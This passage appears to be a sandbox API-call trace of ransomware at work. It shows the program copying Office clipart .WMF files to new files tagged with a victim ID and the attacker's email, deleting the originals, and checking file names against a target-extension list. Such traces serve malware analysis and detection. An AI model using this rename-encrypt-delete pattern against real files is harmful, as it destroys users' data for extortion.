[0307.492] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.492] SetEndOfFile (hFile=0x338) returned 1 [0307.492] CloseHandle (hObject=0x338) returned 1 [0307.493] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.493] SetEndOfFile (hFile=0x34c) returned 1 [0307.494] CloseHandle (hObject=0x34c) returned 1 [0307.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0307.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0307.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0307.495] lstrlenW (lpString=".doc") returned 4 [0307.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.495] lstrlenW (lpString=".docx") returned 5 [0307.495] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.495] lstrlenW (lpString=".pdf") returned 4 [0307.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.495] lstrlenW (lpString=".xls") returned 4 [0307.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.495] lstrlenW (lpString=".xlsx") returned 5 [0307.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.495] lstrlenW (lpString=".ppt") returned 4 [0307.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0307.495] lstrlenW (lpString=".zip") returned 4 [0307.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.495] lstrlenW (lpString=".rar") returned 4 [0307.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.495] lstrlenW (lpString=".bz2") returned 4 [0307.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.495] lstrlenW (lpString=".7z") returned 3 [0307.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0307.495] lstrlenW (lpString=".dbf") returned 4 [0307.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0307.495] lstrlenW (lpString=".1cd") returned 4 [0307.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0307.496] lstrlenW (lpString=".jpg") returned 4 [0307.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.496] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.496] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.497] GetLastError () returned 0x0 [0307.497] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xd04, lpOverlapped=0x0) returned 1 [0307.703] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xd10, lpOverlapped=0x0) returned 1 [0307.704] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.704] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.704] SetEndOfFile (hFile=0x338) returned 1 [0307.704] CloseHandle (hObject=0x338) returned 1 [0307.704] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.704] SetEndOfFile (hFile=0x34c) returned 1 [0307.705] CloseHandle (hObject=0x34c) returned 1 [0307.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0307.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0307.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0307.706] lstrlenW (lpString=".doc") returned 4 [0307.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.706] lstrlenW (lpString=".docx") returned 5 [0307.706] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.706] lstrlenW (lpString=".pdf") returned 4 [0307.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.706] lstrlenW (lpString=".xls") returned 4 [0307.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.707] lstrlenW (lpString=".xlsx") returned 5 [0307.707] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.707] lstrlenW (lpString=".ppt") returned 4 [0307.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0307.707] lstrlenW (lpString=".zip") returned 4 [0307.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.707] lstrlenW (lpString=".rar") returned 4 [0307.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.707] lstrlenW (lpString=".bz2") returned 4 [0307.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.707] lstrlenW (lpString=".7z") returned 3 [0307.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0307.707] lstrlenW (lpString=".dbf") returned 4 [0307.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0307.707] lstrlenW (lpString=".1cd") returned 4 [0307.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0307.707] lstrlenW (lpString=".jpg") returned 4 [0307.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.710] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.710] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.711] GetLastError () returned 0x0 [0307.711] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0307.815] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xbd00, lpOverlapped=0x0) returned 1 [0307.816] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.816] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.817] SetEndOfFile (hFile=0x338) returned 1 [0307.817] CloseHandle (hObject=0x338) returned 1 [0307.817] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.817] SetEndOfFile (hFile=0x34c) returned 1 [0307.818] CloseHandle (hObject=0x34c) returned 1 [0307.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0307.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0307.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0307.819] lstrlenW (lpString=".doc") returned 4 [0307.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.820] lstrlenW (lpString=".docx") returned 5 [0307.820] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.820] lstrlenW (lpString=".pdf") returned 4 [0307.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.820] lstrlenW (lpString=".xls") returned 4 [0307.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.820] lstrlenW (lpString=".xlsx") returned 5 [0307.820] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.820] lstrlenW (lpString=".ppt") returned 4 [0307.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0307.820] lstrlenW (lpString=".zip") returned 4 [0307.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.820] lstrlenW (lpString=".rar") returned 4 [0307.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.820] lstrlenW (lpString=".bz2") returned 4 [0307.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.820] lstrlenW (lpString=".7z") returned 3 [0307.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0307.820] lstrlenW (lpString=".dbf") returned 4 [0307.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0307.820] lstrlenW (lpString=".1cd") returned 4 [0307.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0307.820] lstrlenW (lpString=".jpg") returned 4 [0307.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.821] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.821] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.822] GetLastError () returned 0x0 [0307.822] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5804, lpOverlapped=0x0) returned 1 [0307.931] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5810, lpOverlapped=0x0) returned 1 [0307.933] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.933] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.933] SetEndOfFile (hFile=0x338) returned 1 [0307.933] CloseHandle (hObject=0x338) returned 1 [0307.933] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.933] SetEndOfFile (hFile=0x34c) returned 1 [0307.934] CloseHandle (hObject=0x34c) returned 1 [0307.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0307.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0307.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0307.935] lstrlenW (lpString=".doc") returned 4 [0307.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.935] lstrlenW (lpString=".docx") returned 5 [0307.935] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.935] lstrlenW (lpString=".pdf") returned 4 [0307.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.936] lstrlenW (lpString=".xls") returned 4 [0307.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.936] lstrlenW (lpString=".xlsx") returned 5 [0307.936] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.936] lstrlenW (lpString=".ppt") returned 4 [0307.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0307.936] lstrlenW (lpString=".zip") returned 4 [0307.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.936] lstrlenW (lpString=".rar") returned 4 [0307.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.936] lstrlenW (lpString=".bz2") returned 4 [0307.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.936] lstrlenW (lpString=".7z") returned 3 [0307.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0307.936] lstrlenW (lpString=".dbf") returned 4 [0307.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0307.936] lstrlenW (lpString=".1cd") returned 4 [0307.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0307.936] lstrlenW (lpString=".jpg") returned 4 [0307.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.963] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.964] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.965] GetLastError () returned 0x0 [0307.965] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0308.875] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4f00, lpOverlapped=0x0) returned 1 [0309.392] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.392] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.392] SetEndOfFile (hFile=0x398) returned 1 [0309.393] CloseHandle (hObject=0x398) returned 1 [0309.393] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.393] SetEndOfFile (hFile=0x334) returned 1 [0309.394] CloseHandle (hObject=0x334) returned 1 [0309.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0309.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0309.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0309.395] lstrlenW (lpString=".doc") returned 4 [0309.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.395] lstrlenW (lpString=".docx") returned 5 [0309.395] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0309.395] lstrlenW (lpString=".pdf") returned 4 [0309.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.395] lstrlenW (lpString=".xls") returned 4 [0309.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.395] lstrlenW (lpString=".xlsx") returned 5 [0309.395] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0309.395] lstrlenW (lpString=".ppt") returned 4 [0309.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0309.395] lstrlenW (lpString=".zip") returned 4 [0309.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.395] lstrlenW (lpString=".rar") returned 4 [0309.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.396] lstrlenW (lpString=".bz2") returned 4 [0309.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.396] lstrlenW (lpString=".7z") returned 3 [0309.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0309.396] lstrlenW (lpString=".dbf") returned 4 [0309.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0309.396] lstrlenW (lpString=".1cd") returned 4 [0309.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0309.396] lstrlenW (lpString=".jpg") returned 4 [0309.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.397] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.397] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0309.398] GetLastError () returned 0x0 [0309.398] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x16ec, lpOverlapped=0x0) returned 1 [0309.450] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x16f0, lpOverlapped=0x0) returned 1 [0309.451] ReadFile (in: hFile=0x334, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.451] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.451] SetEndOfFile (hFile=0x398) returned 1 [0309.451] CloseHandle (hObject=0x398) returned 1 [0309.451] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.452] SetEndOfFile (hFile=0x334) returned 1 [0309.452] CloseHandle (hObject=0x334) returned 1 [0309.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0309.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0309.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0309.453] lstrlenW (lpString=".doc") returned 4 [0309.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.453] lstrlenW (lpString=".docx") returned 5 [0309.453] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0309.453] lstrlenW (lpString=".pdf") returned 4 [0309.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.453] lstrlenW (lpString=".xls") returned 4 [0309.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.453] lstrlenW (lpString=".xlsx") returned 5 [0309.453] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0309.453] lstrlenW (lpString=".ppt") returned 4 [0309.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0309.453] lstrlenW (lpString=".zip") returned 4 [0309.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 